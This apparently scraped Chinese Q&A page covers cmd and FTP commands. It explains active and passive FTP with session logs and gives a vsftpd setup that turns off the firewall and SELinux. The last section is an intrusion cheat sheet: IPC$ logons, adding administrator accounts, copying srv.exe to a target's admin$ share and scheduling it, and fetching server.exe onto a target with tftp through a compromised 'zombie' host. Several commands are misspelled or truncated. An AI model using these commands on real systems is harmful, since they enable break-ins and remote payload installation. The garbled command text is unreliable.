cacls 文件名 參數 顯示或修改文件訪問控制列表(ACL)--針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名:perm 替換指定用戶的訪問許可權;/G 用戶名:perm 賦予指定用戶訪問許可權;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F 完全控制;例:cacls D:\test.txt /D pub 設定d:\test.txt拒絕pub用戶訪問。
cacls 文件名 查看文件的訪問用戶許可權列表
REM 文本內容 在批處理文件中添加註解
netsh 查看或更改本地網路配置情況

#4 四:

IIS服務命令:
iisreset /reboot 重啟win2k計算機(但有提示系統將重啟信息出現)
iisreset /start或stop 啟動(停止)所有Internet服務
iisreset /restart 停止然後重新啟動所有Internet服務
iisreset /status 顯示所有Internet服務狀態
iisreset /enable或disable 在本地系統上啟用(禁用)Internet服務的重新啟動
iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務時,若發生錯誤將重新開機
iisreset /noforce 若無法停止Internet服務,將不會強制終止Internet服務
iisreset /timeout Val在到達逾時間(秒)時,仍未停止Internet服務,若指定/rebootonerror參數,則電腦將會重新開機。預設值為重新啟動20秒,停止60秒,重新開機0秒。
FTP 命令: (後面有詳細說明內容)
ftp的命令行格式為:
ftp -v -d -i -n -g[主機名] -v 顯示遠程伺服器的所有響應信息。
-d 使用調試方式。
-n 限制ftp的自動登錄,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令說明
bye 或 quit 終止主機FTP進程,並退出FTP管理方式.
pwd 列出當前遠端主機目錄
put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠端主機中
get 或 recv [遠程主機文件名] [下載到本地後的文件名] 從遠端主機中傳送至本地主機中
mget [remote-files] 從遠端主機接收一批文件至本地主機
mput local-files 將本地主機中一批文件傳送至遠端主機
dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的文件.如果有本地文件,就將結果寫至本地文件
ascii 設定以ASCII方式傳送文件(預設值)
bin 或 image 設定以二進制方式傳送文件
bell 每完成一次文件傳送,報警提示
cp 返回上一級目錄
close 中斷與遠程伺服器的ftp會話(與open對應)
open host[port] 建立指定ftp伺服器連接,可指定連接埠
delete 刪除遠端主機中的文件
mdelete [remote-files] 刪除一批文件
mkdir directory-name 在遠端主機中建立目錄
rename [from] [to] 改變遠端主機中的文件名
rmdir directory-name 刪除遠端主機中的目錄
status 顯示當前FTP的狀態
system 顯示遠端主機系統類型
user user-name [password] [account] 重新以別的用戶名登錄遠端主機
open host [port] 重新建立一個新的連接
prompt 交互提示模式
macdef 定義宏命令
lcd 改變當前本地主機的工作目錄,如果預設,就轉到當前用戶的HOME目錄
chmod 改變遠端主機的文件許可權
case 當為ON時,用MGET命令拷貝的文件名到本地機器中,全部轉換為小寫字母
cd remote-dir 進入遠程主機目錄
cp 進入遠程主機目錄的父目錄
! 在本地機中執行交互shell,exit回到ftp環境,如!ls*.zip

#5 五:

MYSQL 命令:
mysql -h主機地址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL,超級用戶root是沒有密碼的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u與root可以不用加空格,其它也一樣)
exit 退出MYSQL
mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼
grant select on 資料庫.* to 用戶名@登錄主機 identified by \"密碼\"; 增加新用戶。(注意:和上面不同,下面的因為是MYSQL環境中的命令,所以後面都帶一個分號作為命令結束符)
show databases; 顯示資料庫列表。剛開始時才兩個資料庫:mysql和test。mysql庫很重要它裡面有MYSQL的系統信息,我們改密碼和新增用戶,實際上就是

⑷ ftp客戶端有主動模式和被動模式是什麼意思

主動FTP

主動方式的FTP是這樣的:客戶端從一個任意的非特權埠N(N>1024)連接到FTP伺服器的命令埠,也就是21埠。然後客戶端開始監聽端
口N+1,並發送FTP命令「port N+1」到FTP伺服器。接著伺服器會從它自己的數據埠(20)連接到客戶端指定的數據埠(N+1)。

針對FTP伺服器前面的防火牆來說,必須允許以下通訊才能支持主動方式FTP:

1. 任何埠到FTP伺服器的21埠 (客戶端初始化的連接 S<-C)
2. FTP伺服器的21埠到大於1024的埠(伺服器響應客戶端的控制埠 S->C)
3. FTP伺服器的20埠到大於1024的埠(伺服器端初始化數據連接到客戶端的數據埠 S->C)
4. 大於1024埠到FTP伺服器的20埠(客戶端發送ACK響應到伺服器的數據埠 S<-C)

在第1步中,客戶端的命令埠與FTP伺服器的命令埠建立連接,並發送命令「PORT
1027」。然後在第2步中,FTP伺服器給客戶端的命令埠返回一個"ACK"。在第3步中,FTP伺服器發起一個從它自己的數據埠(20)到客
戶端先前指定的數據埠(1027)的連接,最後客戶端在第4步中給伺服器端返回一個"ACK"。

主動方式FTP的主要問題實際上在於客戶端。FTP的客戶端並沒有實際建立一個到伺服器數據埠的連接,它只是簡單的告訴伺服器自己監聽的埠號,伺服器
再回來連接客戶端這個指定的埠。對於客戶端的防火牆來說,這是從外部系統建立到內部客戶端的連接,這是通常會被阻塞的。

主動FTP的例子

下面是一個主動FTP會話的實際例子。當然伺服器名、IP地址和用戶名都做了改動。在這個例子中,FTP會話從
testbox1.slacksite.com
(192.168.150.80),一個運行標準的FTP命令行客戶端的Linux工作站,發起到testbox2.slacksite.com
(192.168.150.90),一個運行ProFTPd
1.2.2RC2的Linux工作站。debugging(-d)選項用來在FTP客戶端顯示連接的詳細過程。紅色的文字是
debugging信息,顯示的是發送到伺服器的實際FTP命令和所產生的回應信息。伺服器的輸出信息用黑色字表示,用戶的輸入信息用粗體字表示。

仔細考慮這個對話過程我們會發現一些有趣的事情。我們可以看到當 PORT
命令被提交時,它指定了客戶端(192.168.150.80)上的一個埠而不是伺服器的。當我們用被動FTP時我們會看到相反的現象。我們再來關注
PORT命令的格式。就象你在下面的例子看到的一樣,它是一個由六個被逗號隔開的數字組成的序列。前四個表示IP地址,後兩個組成了用於數據連接的埠
號。用第五個數乘以256再加上第六個數就得到了實際的埠號。下面例子中埠號就是( (14*256) + 178) =
3762。我們可以用netstat來驗證這個埠信息。

testbox1: {/home/p-t/slacker/public_html} % ftp -d testbox2
Connected to testbox2.slacksite.com.
220 testbox2.slacksite.com FTP server ready.
Name (testbox2:slacker): slacker
---> USER slacker
331 Password required for slacker.
Password: TmpPass
---> PASS XXXX
230 User slacker logged in.
---> SYST
215 UNIX Type: L8
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
ftp: setsockopt (ignored): Permission denied
---> PORT 192,168,150,80,14,178
200 PORT command successful.
---> LIST
150 Opening ASCII mode data connection for file list.
drwx------ 3 slacker users 104 Jul 27 01:45 public_html
226 Transfer complete.
ftp> quit
---> QUIT
221 Goodbye.

被動FTP

為了解決伺服器發起到客戶的連接的問題,人們開發了一種不同的FTP連接方式。這就是所謂的被動方式,或者叫做PASV,當客戶端通知伺服器它處於被動模式時才啟用。

在被動方式FTP中,命令連接和數據連接都由客戶端,這樣就可以解決從伺服器到客戶端的數據埠的入方向連接被防火牆過濾掉的問題。當開啟一個
FTP連接時,客戶端打開兩個任意的非特權本地埠(N >
1024和N+1)。第一個埠連接伺服器的21埠,但與主動方式的FTP不同,客戶端不會提交PORT命令並允許伺服器來回連它的數據埠,而是提交
PASV命令。這樣做的結果是伺服器會開啟一個任意的非特權埠(P > 1024),並發送PORT
P命令給客戶端。然後客戶端發起從本地埠N+1到伺服器的埠P的連接用來傳送數據。

對於伺服器端的防火牆來說,必須允許下面的通訊才能支持被動方式的FTP:

1. 從任何埠到伺服器的21埠 (客戶端初始化的連接 S<-C)
2. 伺服器的21埠到任何大於1024的埠 (伺服器響應到客戶端的控制埠的連接 S->C)
3. 從任何埠到伺服器的大於1024埠 (入;客戶端初始化數據連接到伺服器指定的任意埠 S<-C)
4. 伺服器的大於1024埠到遠程的大於1024的埠(出;伺服器發送ACK響應和數據到客戶端的數據埠 S->C)

畫出來的話,被動方式的FTP連接過程大概是下圖的樣子:

在第1步中,客戶端的命令埠與伺服器的命令埠建立連接,並發送命令「PASV」。然後在第2步中,伺服器返回命令"PORT
2024",告訴客戶端(伺服器)用哪個埠偵聽數據連接。在第3步中,客戶端初始化一個從自己的數據埠到伺服器端指定的數據埠的數據連接。最後服
務器在第4 步中給客戶端的數據埠返回一個"ACK"響應。

被動方式的FTP解決了客戶端的許多問題,但同時給伺服器端帶來了更多的問題。最大的問題是需要允許從任意遠程終端到伺服器高位埠的連接。幸運的是,許多FTP守護程序,包括流行的WU-FTPD允許管理員指定FTP伺服器使用的埠范圍。詳細內容參看附錄1。

第二個問題是客戶端有的支持被動模式,有的不支持被動模式,必須考慮如何能支持這些客戶端,以及為他們提供解決辦法。例如,Solaris提供的FTP命令行工具就不支持被動模式,需要第三方的FTP客戶端,比如ncftp。

隨著WWW的廣泛流行,許多人習慣用web瀏覽器作為FTP客戶端。大多數瀏覽器只在訪問ftp://這樣的URL時才支持被動...??的配置。

被動FTP的例子

下面是一個被動FTP會話的實際例子,只是伺服器名、IP地址和用戶名都做了改動。在這個例子中,FTP會話從
testbox1.slacksite.com
(192.168.150.80),一個運行標準的FTP命令行客戶端的Linux工作站,發起到testbox2.slacksite.com
(192.168.150.90),一個運行ProFTPd
1.2.2RC2的Linux工作站。debugging(-d)選項用來在FTP客戶端顯示連接的詳細過程。紅色的文字是
debugging信息,顯示的是發送到伺服器的實際FTP命令和所產生的回應信息。伺服器的輸出信息用黑色字表示,用戶的輸入信息用粗體字表示。

注意此例中的PORT命令與主動FTP例子的不同。這里,我們看到是伺服器(192.168.150.90)而不是客戶端的一個埠被打開了。可以跟上面的主動FTP例子中的PORT命令格式對比一下。

testbox1: {/home/p-t/slacker/public_html} % ftp -d testbox2
Connected to testbox2.slacksite.com.
220 testbox2.slacksite.com FTP server ready.
Name (testbox2:slacker): slacker
---> USER slacker
331 Password required for slacker.
Password: TmpPass
---> PASS XXXX
230 User slacker logged in.
---> SYST
215 UNIX Type: L8
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode on.
ftp> ls
ftp: setsockopt (ignored): Permission denied
---> PASV
227 Entering Passive Mode (192,168,150,90,195,149).
---> LIST
150 Opening ASCII mode data connection for file list
drwx------ 3 slacker users 104 Jul 27 01:45 public_html
226 Transfer complete.
ftp> quit
---> QUIT
221 Goodbye.

總結

下面的圖表會幫助管理員們記住每種FTP方式是怎樣工作的:

主動FTP:
命令連接:客戶端 >1024埠 -> 伺服器 21埠
數據連接:客戶端 >1024埠 <- 伺服器 20埠

被動FTP:
命令連接:客戶端 >1024埠 -> 伺服器 21埠
數據連接:客戶端 >1024埠 -> 伺服器 >1024埠

下面是主動與被動FTP優缺點的簡要總結:

主動FTP對FTP伺服器的管理有利,但對客戶端的管理不利。因為FTP伺服器企圖與客戶端的高位隨機埠建立連接,而這個埠很有可能被客戶端的防火牆
阻塞掉。被動FTP對FTP客戶端的管理有利,但對伺服器端的管理不利。因為客戶端要與伺服器端建立兩個連接,其中一個連到一個高位隨機埠,而這個埠
很有可能被伺服器端的防火牆阻塞掉。

幸運的是,有折衷的辦法。既然FTP伺服器的管理員需要他們的伺服器有最多的客戶連接,那麼必須得支持被動FTP。我們可以通過為FTP伺服器指定一個有
限的埠范圍來減小伺服器高位埠的暴露。這樣,不在這個范圍的任何埠會被伺服器的防火牆阻塞。雖然這沒有消除所有針對伺服器的危險,但它大大減少了危
險。詳細信息參看附錄1。

參考資料

O'Reilly出版的《組建Internet防火牆》(第二版,Brent Chapman,Elizabeth Zwicky著)是一本很不錯的參考資料。裡面講述了各種Internet協議如何工作,以及有關防火牆的例子。

最權威的FTP參考資料是RFC 959,它是FTP協議的官方規范。RFC的資料可以從許多網站上下載,例如:ftp://nic.merit.e/documents/rfc/rfc0959.txt 。

Active FTP vs. Passive FTP, Appendix 1

⑸ linux怎麼配置ftp伺服器

一. FTP 說明

linux 系統下常用的FTP 是vsftp, 即Very Security File Transfer Protocol. 還有一個是proftp(Profession ftp)。 我們這里也是簡單的說明下vsftp的配置。

vsftp提供3種遠程的登錄方式:

(1)匿名登錄方式

就是不需要用戶名,密碼。就能登錄到伺服器電腦裡面

(2)本地用戶方式

需要帳戶名和密碼才能登錄。而且,這個帳戶名和密碼,都是在你linux系統裡面,已經有的用戶。

(3)虛擬用戶方式

同樣需要用戶名和密碼才能登錄。但是和上面的區別就是,這個用戶名和密碼,在你linux系統中是沒有的(沒有該用戶帳號)

二. Vsftp的安裝配置

2.1 安裝

vsftp 的安裝包,可以在安裝里找到。 用yum 安裝過程也很簡單。
安裝命令:yum install vsftpd

2.2. 相關命令

2.2.1 啟動與關閉

[root@singledb ~]# service vsftpd start

Starting vsftpd for vsftpd: [ OK ]

[root@singledb ~]# service vsftpd stop

Shutting down vsftpd: [ OK ]

[root@singledb ~]# service vsftpd restart

Shutting down vsftpd: [FAILED]

Starting vsftpd for vsftpd: [ OK ]

[root@singledb ~]# /etc/init.d/vsftpd start

Starting vsftpd for vsftpd: [FAILED]

[root@singledb ~]# /etc/init.d/vsftpd stop

Shutting down vsftpd: [ OK ]

[root@singledb ~]# /etc/init.d/vsftpd restart

Shutting down vsftpd: [FAILED]

Starting vsftpd for vsftpd: [ OK ]

[root@singledb ~]# /etc/init.d/vsftpd status

vsftpd (pid 3931) is running...

[root@singledb ~]#

2.2.2. 其他命令

--查看vsftpd 啟動狀態

[root@singledb ~]# chkconfig --list vsftpd

vsftpd 0:off 1:off 2:off 3:off 4:off 5:off 6:off

[root@singledb ~]# chkconfig vsftpd on

[root@singledb ~]# chkconfig --list vsftpd

vsftpd 0:off 1:off 2:on 3:on 4:on 5:on 6:off

這里看到,默認情況下從2到5設置為on了。2到5是多用戶級別。 這個對應的是linux不同的運行級別。

我們也可以加level 選項來指定:

[root@singledb ~]# chkconfig --level 0 vsftpd on

[root@singledb ~]# chkconfig --list vsftpd

vsftpd 0:on 1:off 2:on 3:on 4:on 5:on 6:off

我們看到0已經設置為on了。

我們可以使用man chkconfig 來查看幫助:

--level levels

Specifies the run levels an operation should pertain to. It is given as a string of numbers from 0 to 7. For example, --level 35 specifies runlevels 3 and 5.

傳統的init 定義了7個運行級(run level),每一個級別都代表系統應該補充運行的某些特定服務:

(1)0級是完全關閉系統的級別

(2)1級或者S級代表單用戶模式

(3)2-5 級 是多用戶級別

(4)6級 是 重新引導的級別

(1)查看防火牆

我一般都是把系統的防火牆關閉了。 因為開了會有很多限制。

[root@singledb ~]# /etc/init.d/iptables status

Table: nat

Chain PREROUTING (policy ACCEPT)

num target prot opt source destination

Chain POSTROUTING (policy ACCEPT)

num target prot opt source destination

1 MASQUERADE all -- 192.168.122.0/24 !192.168.122.0/24

Chain OUTPUT (policy ACCEPT)

num target prot opt source destination

Table: filter

Chain INPUT (policy ACCEPT)

num target prot opt source destination

1 ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:53

2 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:53

3 ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:67

4 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:67

Chain FORWARD (policy ACCEPT)

num target prot opt source destination

1 ACCEPT all -- 0.0.0.0/0 192.168.122.0/24 state RELATED,ESTABLISHED

2 ACCEPT all -- 192.168.122.0/24 0.0.0.0/0

3 ACCEPT all -- 0.0.0.0/0 0.0.0.0/0

4 REJECT all -- 0.0.0.0/0 0.0.0.0/0 reject-with icmp-port-unreachable

5 REJECT all -- 0.0.0.0/0 0.0.0.0/0 reject-with icmp-port-unreachable

Chain OUTPUT (policy ACCEPT)

num target prot opt source destination

You have new mail in /var/spool/mail/root

--添加開放21號埠:

[root@singledb ~]# /sbin/iptables -I INPUT -p tcp --dport 21 -j ACCEPT

[root@singledb ~]# /etc/init.d/iptables status

Table: nat

Chain PREROUTING (policy ACCEPT)

num target prot opt source destination

Chain POSTROUTING (policy ACCEPT)

num target prot opt source destination

1 MASQUERADE all -- 192.168.122.0/24 !192.168.122.0/24

Chain OUTPUT (policy ACCEPT)

num target prot opt source destination

Table: filter

Chain INPUT (policy ACCEPT)

num target prot opt source destination

1 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:21

2 ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:53

3 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:53

4 ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:67

5 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:67

Chain FORWARD (policy ACCEPT)

num target prot opt source destination

1 ACCEPT all -- 0.0.0.0/0 192.168.122.0/24 state RELATED,ESTABLISHED

2 ACCEPT all -- 192.168.122.0/24 0.0.0.0/0

3 ACCEPT all -- 0.0.0.0/0 0.0.0.0/0

4 REJECT all -- 0.0.0.0/0 0.0.0.0/0 reject-with icmp-port-unreachable

5 REJECT all -- 0.0.0.0/0 0.0.0.0/0 reject-with icmp-port-unreachable

Chain OUTPUT (policy ACCEPT)

num target prot opt source destination

--保存配置

[root@singledb ~]# /etc/rc.d/init.d/iptables save

Saving firewall rules to /etc/sysconfig/iptables: [ OK ]

--重啟防火牆:

[root@singledb ~]# service iptables {start|stop|restart}

(2)查看關閉selinux

[root@singledb ~]# sestatus

SELinux status: disabled

我這里在安裝操作系統的時候就關閉了selinux,如果沒有關閉,可以修改如下文件來關閉:

[root@singledb ~]# cat /etc/sysconfig/selinux

# This file controls the state of SELinux on the system.

# SELINUX= can take one of these three values:

# enforcing - SELinux security policy is enforced.

# permissive - SELinux prints warnings instead of enforcing.

# disabled - SELinux is fully disabled.

SELINUX=disabled

# SELINUXTYPE= type of policy in use. Possible values are:

# targeted - Only targeted network daemons are protected.

# strict - Full SELinux protection.

SELINUXTYPE=targeted

[root@singledb ~]#

保存退出並重啟系統reboot

三. FTP配置文件

FTP 安裝好之後,在/etc/vsftpd/目錄下會有如下文件:

[root@singledb ~]# cd /etc/vsftpd/

[root@singledb vsftpd]# ls

ftpusers user_list vsftpd.conf vsftpd_conf_migrate.sh

[root@singledb vsftpd]#

vsftpd.conf: 主配置文件

ftpusers: 指定哪些用戶不能訪問FTP伺服器

user_list: 指定的用戶是否可以訪問ftp伺服器由vsftpd.conf文件中的userlist_deny的取值來決定。

[root@singledb vsftpd]# cat user_list

# vsftpd userlist

# If userlist_deny=NO, only allow users in this file

# If userlist_deny=YES (default), never allow users in this file, and

# do not even prompt for a password.

# Note that the default vsftpd pam config also checks /etc/vsftpd/ftpusers

# for users that are denied.

我們過濾掉#的注釋後,查看一下vsftpd.conf 文件:

[root@singledb ftp]# cat /etc/vsftpd/vsftpd.conf |grep -v '^#';

anonymous_enable=YES

local_enable=YES

write_enable=YES

local_umask=022

dirmessage_enable=YES

xferlog_enable=YES

connect_from_port_20=YES

xferlog_std_format=YES

listen=YES

pam_service_name=vsftpd

userlist_enable=yes

tcp_wrappers=YES

至於這些參數的意思,在注釋里有詳細的說明。

我們可以在vsftpd.conf 文件設置如下參數:

(1)ftpd_banner=welcome to ftp service :設置連接伺服器後的歡迎信息

(2)idle_session_timeout=60 :限制遠程的客戶機連接後,所建立的控制連接,在多長時間沒有做任何的操作就會中斷(秒)

(3)data_connection_timeout=120 :設置客戶機在進行數據傳輸時,設置空閑的數據中斷時間

(4)accept_timeout=60 設置在多長時間後自動建立連接

(5)connect_timeout=60 設置數據連接的最大激活時間,多長時間斷開,為別人所使用;

(6)max_clients=200 指明伺服器總的客戶並發連接數為200

(7)max_per_ip=3 指明每個客戶機的最大連接數為3

(8)local_max_rate=50000(50kbytes/sec) 本地用戶最大傳輸速率限制

(9)anon_max_rate=30000匿名用戶的最大傳輸速率限制

(10)pasv_min_port=埠

(11)pasv-max-prot=埠號 定義最大與最小埠,為0表示任意埠;為客戶端連接指明埠;

(12)listen_address=IP地址 設置ftp服務來監聽的地址,客戶端可以用哪個地址來連接;

(13)listen_port=埠號 設置FTP工作的埠號,默認的為21

(14)chroot_local_user=YES 設置所有的本地用戶可以chroot

(15)chroot_local_user=NO 設置指定用戶能夠chroot

(16)chroot_list_enable=YES

(17)chroot_list_file=/etc/vsftpd/chroot_list(只有/etc/vsftpd/chroot_list中的指定的用戶才能執行 )

(18)local_root=path 無論哪個用戶都能登錄的用戶,定義登錄帳號的主目錄, 若沒有指定,則每一個用戶則進入到個人用戶主目錄;

(19)chroot_local_user=yes/no 是否鎖定本地系統帳號用戶主目錄(所有);鎖定後,用戶只能訪問用戶的主目錄/home/user,不能利用cd命令向上轉;只能向下;

(20)chroot_list_enable=yes/no 鎖定指定文件中用戶的主目錄(部分),文件:/chroot_list_file=path 中指定;

(21)userlist_enable=YES/NO 是否載入用戶列表文件;

(22)userlist_deny=YES 表示上面所載入的用戶是否允許拒絕登錄;

(23)userlist_file=/etc/vsftpd/user_list 列表文件

限制IP 訪問FTP:

#vi /etc/hosts.allow

vsftpd:192.168.5.128:DENY 設置該IP地址不可以訪問ftp服務

FTP 訪問時間限制:

#cp /usr/share/doc/vsftpd-1.1.3/vsftpd.xinetd /etc/xinetd.d/vsftpd

#vi /etc/xinetd.d/vsftpd/

修改 disable = no

access_time = hour:min-hour:min (添加配置訪問的時間限制(註:與vsftpd.conf中listen=NO相對應)

例: access_time = 8:30-11:30 17:30-21:30 表示只有這兩個時間段可以訪問ftp

ftp的配置基本上只有這些了。

默認情況下,ftp根目錄是/var/ftp。 如果要修改這個目錄位置,可以更改/etc/passwd 文件:

[root@singledb ftp]# cat /etc/passwd | grep ftp

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin

創建一個用戶來訪問FTP,並指定該用戶的FTP 目錄:

[root@singledb u02]# useradd -d /u02/qsftp qs

[root@singledb u02]# passwd qs

Changing password for user qs.

New UNIX password:

BAD PASSWORD: it is WAY too short

Retype new UNIX password:

passwd: all authentication tokens updated successfully.

這里指定的是/u02/qsftp 這個目錄,要注意個目錄的許可權。

更改用戶不能telnet,只能ftp:

usermod -s /sbin/nologin username //用戶只能ftp,不能telnet

usermod -s /sbin/bash username //用戶恢復正常

禁止用戶ssh登陸

useradd username -s /bin/false

更改用戶主目錄:

usermod -d /bbb username //把用戶的主目錄定為/bbb

然後用qs這個用戶就可以訪問了。

以上只是一些簡單的設置。 在用戶許可權這塊還有很多內容可以研究。 比如特定用戶的特定許可權。 安全性等。 以後在研究了。

⑹ ftp的dir或ls命令無法查看文件列表怎麼辦

網友們可能在使用ftp的dir或ls命令時查看文件列表,但是卻無法看到,受到了限制,那麼無法查看文件列表這就造成了我們許多的麻煩,那麼要怎麼的解決這個問題呢!現在我們一起來看看吧! 在Win7系統的命令行模式下,使用ftp的dir或ls命令無法查看文件列表,但是使用IE卻可以查看。查找相關資料後,大致歸結為兩種原因: 許可權有問題 windows自帶防火牆攔截 實驗後發現我的情況屬於第二種,具體解決方法有以下幾種: 直接關閉Windows防火牆 打開防火牆,但是設置入站規則允許ftp.exe程序接收信息 使用netsh命令設置規則 [plain] netsh advfirewall firewall add rule name="FTP(non-SSL)" program="%systemroot%system32ftp.exe" action=allow protocol=TCP dir=in netsh advfirewall set global StatefulFtp disable 命令1的作用與第二種方法相同 命令2主要用來禁止statefulFTP過濾,這條對我沒有影響,但還是建議加上 小插曲 這里參考了兩篇相關的文章(1,2),分別使用兩條相似,卻不同的命令 [plain] 文章1 netsh advfirewall firewall add rule name="FTP (non-SSL)" action=allow protocol=TCP dir=in localport=21 netsh advfirewall set global StatefulFtp enable [plain] 文章2 netsh advfirewall firewall add rule name=”FTP Service” action=allow service=ftpsvc protocol=TCP dir=in netsh advfirewall set global StatefulFTP disable 真是讓人糾結,對於文章中的 localport=21 始終無法對應到windows自帶的ftp.exe程序,後來使用tasklist命令查找ftp對應的PID編號, 再通過命令 netstat 發現ftp.exe在自己電腦上原來埠就不是21。。 而文章中的 service=ftpsvc 也沒法允許ftp.exe的例外,後來help了以下netsh命令,發現了program參數,才人為添加程序路徑。

⑺ linux ftp服務遠程匿名登錄查看不了文件內容

把Linux防火牆關了

或者不用FTP主動模式,使用被動模式,再輸一遍passive命令:
ftp> passive
Passive mode on.
FTP協議的數據傳輸存在兩種模式:主動模式和被動模式。這兩種模式發起連接的方向截然相反,主動模式是從伺服器端向客戶端發起;被動模式是客戶端向伺服器端發起連接。但是如果伺服器和客戶之間存在防火牆,主動模式經常會引起一些麻煩。設想,客戶位於防火牆之後,防火牆允許所有內部向外部的連接通過,但是對於外部向內部發起的連接卻存在很多限制。在這種情況下,客戶可以正常地和伺服器建立控制連接,而如果使用主動模式,ls、put和get等數據傳輸命令就很難成功運行,因為防火牆會阻塞從伺服器向客戶發起的數據傳輸連接。簡單包過濾防火牆把控制連接和數據傳輸連接完全分離開了,因此很難通過配置防火牆允許主動模式的FTP數據傳輸連接通過。如果防火牆允許ICMP或者TCP RST報文通過,客戶程序就會馬上返回connection refused錯誤信息;而如果防火牆只是做簡單的丟棄處理,會造成客戶程序掛起一段時間。

⑻ cmd中全部命令`````

以下是我收藏的,全部給你了:

net use \\ip\ipc$ " " /user:" " 建立IPC空鏈接
net use \\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
net use h: \\ip\c$ "密碼" /user:"用戶名" 直接登陸後映射對方C:到本地為H:
net use h: \\ip\c$ 登陸後映射對方C:到本地為H:
net use \\ip\ipc$ /del 刪除IPC鏈接
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup administrators 用戶名 /add 把「用戶」添加到管理員中使其具有管理員許可權,注意:administrator後加s用復數
net start 查看開啟了哪些服務
net start 服務名 開啟服務;(如:net start telnet, net start schele)
net stop 服務名 停止某服務
net time \\目標ip 查看對方時間
net time \\目標ip /set 設置本地計算機時間與「目標IP」主機的時間同步,加上參數/yes可取消確認信息
net view 查看本地區域網內開啟了哪些共享
net view \\ip 查看對方區域網內開啟了哪些共享
net config 顯示系統網路設置
net logoff 斷開連接的共享
net pause 服務名 暫停某服務
net send ip "文本信息" 向對方發信息
net ver 區域網內正在使用的網路連接類型和信息
net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C:共享
net user guest 12345 用guest用戶登陸後用將密碼改為12345
net password 密碼 更改系統登陸密碼
netstat -a 查看開啟了哪些埠,常用netstat -an
netstat -n 查看埠的網路連接情況,常用netstat -an
netstat -v 查看正在進行的工作
netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip協議使用情況)
netstat -s 查看正在使用的所有協議使用情況
nbtstat -A ip 對方136到139其中一個埠開了的話,就可查看對方最近登陸的用戶名(03前的為用戶名)-注意:參數-A要大寫
tracert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:「-w數字」用於設置超時間隔。
ping ip(或域名) 向對方主機發送默認大小為32位元組的數據,參數:「-l[空格]數據包大小」;「-n發送數據次數」;「-t」指一直ping。
ping -t -l 65550 ip 死亡之ping(發送大於K的文件並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數「/all」顯示全部配置信息
tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
del -F 文件名 加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如「DEL/AR *.*」表示刪除當前目錄下所有隻讀文件,「DEL/A-S *.*」表示刪除當前目錄下除系統文件以外的所有文件

del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)
move 盤符\路徑\要移動的文件名 存放移動文件的路徑\移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命令
at id號 開啟已注冊的某個計劃任務
at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已注冊的計劃任務
at 查看所有的計劃任務
at \\ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啟動計算機
finger username @host 查看最近有哪些用戶登陸
telnet ip 埠 遠和登陸伺服器,默認埠為23
open ip 連接到IP(屬telnet登陸後的命令)
telnet 在本機上直接鍵入telnet 將進入本機的telnet
路徑\文件名1 路徑\文件名2 /y 復制文件1到指定的目錄為文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件
c:\srv.exe \\ip\admin$ 復制本地c:\srv.exe到對方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,註:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件
\\ip\admin$\svv.exe c:\ 或:\\ip\admin$\*.* 復制對方admini$共享下的srv.exe文件(所有文件)至本地C:
x 要復制的文件或目錄樹 目標地址\目錄名 復制文件和目錄樹,用參數/Y將不提示覆蓋相同文件
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:\server.exe 登陸後,將「IP」的server.exe下載到目標主機c:\server.exe 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送
tftp -i 對方IP put c:\server.exe 登陸後,上傳本地c:\server.exe至主機
